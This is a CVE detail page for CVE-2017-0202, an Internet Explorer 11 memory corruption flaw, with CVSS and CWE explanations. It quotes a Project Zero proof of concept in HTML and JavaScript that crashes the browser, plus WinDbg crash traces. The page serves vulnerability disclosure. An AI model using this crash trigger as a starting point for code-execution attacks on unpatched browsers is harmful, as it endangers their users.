CVE-2017-0202 : Detail

CVE-2017-0202

7.5
/
High
Overflow
80.69%V3
Network
2017-04-12
12h00 +00:00
2017-08-15
07h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user, a.k.a. "Internet Explorer Memory Corruption Vulnerability."

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.5 HIGH CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 7.6 AV:N/AC:H/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 41941

Publication date : 2017-04-26 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1118 There is a memory corruption vulnerability in Internet Explorer. The vulnerability was confirmed on Internet Explorer Version 11.576.14393.0 (Update Version 11.0.38) running on Windows 10 64-bit with page heap enabled for iexplore.exe process. PoC: =========================================================== --> <!-- saved from url=(0014)about:internet --> <style> #details { transition-duration: 61s; } </style> <script> function go() { document.fgColor = "foo"; m.setAttribute("foo", "bar"); document.head.innerHTML = "a"; } </script> <body onload=go()> <details id="details"> <summary style="transform: scaleY(4)"> <marquee id="m" bgcolor="rgb(135,114,244)">aaaaaaaaaaaaa</marquee> <style></style> <!-- =========================================================== The crash happens in CStyleSheetArray::BuildListOfMatchedRules while attempting to read memory outside of the bounds of the object pointed by eax (possibly due to a type confusion issue, but I didn't investigate in detail). If that read is successful and attacker-controlled address is read into edi, this down the line leads to a write at the attacker controlled address in CStyleSheetArray::BuildListOfProbableRules. Thus it might be possible to turn the issue into code execution. Debug info: (d10.1504): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0fb60f78 ebx=0b124940 ecx=00000006 edx=00000000 esi=0b124940 edi=173de770 eip=71eb1137 esp=173dda30 ebp=173ddaa4 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 MSHTML!CStyleSheetArray::BuildListOfMatchedRules+0x77: 71eb1137 8bb824010000 mov edi,dword ptr [eax+124h] ds:002b:0fb6109c=???????? 0:021> r eax=0fb60f78 ebx=0b124940 ecx=00000006 edx=00000000 esi=0b124940 edi=173de770 eip=71eb1137 esp=173dda30 ebp=173ddaa4 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 MSHTML!CStyleSheetArray::BuildListOfMatchedRules+0x77: 71eb1137 8bb824010000 mov edi,dword ptr [eax+124h] ds:002b:0fb6109c=???????? 0:021> k # ChildEBP RetAddr 00 173ddaa4 71eb3674 MSHTML!CStyleSheetArray::BuildListOfMatchedRules+0x77 01 173ddd6c 71eb041e MSHTML!CElement::ApplyStyleSheets+0x504 02 173ddd9c 720b43e5 MSHTML!CElement::ApplyDefaultFormat+0x8e 03 173de1b0 71edf524 MSHTML!CElement::ComputeFormatsVirtual+0xe25 04 173de248 720b343a MSHTML!CElement::ComputeFormats+0x374 05 173de274 720b36cd MSHTML!CFormatInfo::FindFormattingParent+0x45a 06 173de690 71edf524 MSHTML!CElement::ComputeFormatsVirtual+0x10d 07 173de738 71ede88b MSHTML!CElement::ComputeFormats+0x374 08 173de754 71ede3c4 MSHTML!CTreeNode::ComputeFormats+0x6b 09 173df3b0 722e4e79 MSHTML!CTreeNode::ComputeFormatsHelper+0x34 0a 173df3b8 7201745c MSHTML!CTreeNode::GetSvgFormatHelper+0xa 0b 173df3c0 72756588 MSHTML!Tree::Style::HasCompositionItems+0x26 0c 173df3cc 72787473 MSHTML!Layout::InlineLayout::HasCompositionItems+0x28 0d 173df5dc 72788c30 MSHTML!CDispScroller::CalcScrollBits+0x526 0e 173df6c8 72246c2a MSHTML!CDispScroller::InvalidateScrollDelta+0x147 0f 173df6f4 71d8174e MSHTML!`TextInput::TextInputLogging::Instance'::`2'::`dynamic atexit destructor for 'wrapper''+0xf8a1a 10 173df710 71d81667 MSHTML!CRenderTaskApplyPSP::ProcessScrollerUpdateRequests+0x34 11 173df740 71f0e9bb MSHTML!CRenderTaskApplyPSP::Execute+0xe7 12 173df79c 71de27d3 MSHTML!CRenderThread::RenderThread+0x31b 13 173df7ac 72fa17cd MSHTML!CRenderThread::StaticRenderThreadProc+0x23 14 173df7e4 74c362c4 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x8d 15 173df7f8 77700fd9 KERNEL32!BaseThreadInitThunk+0x24 16 173df840 77700fa4 ntdll!__RtlUserThreadStart+0x2f 17 173df850 00000000 ntdll!_RtlUserThreadStart+0x1b -->

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 11

References

https://www.exploit-db.com/exploits/41941/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1038238
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/97441
Tags : vdb-entry, x_refsource_BID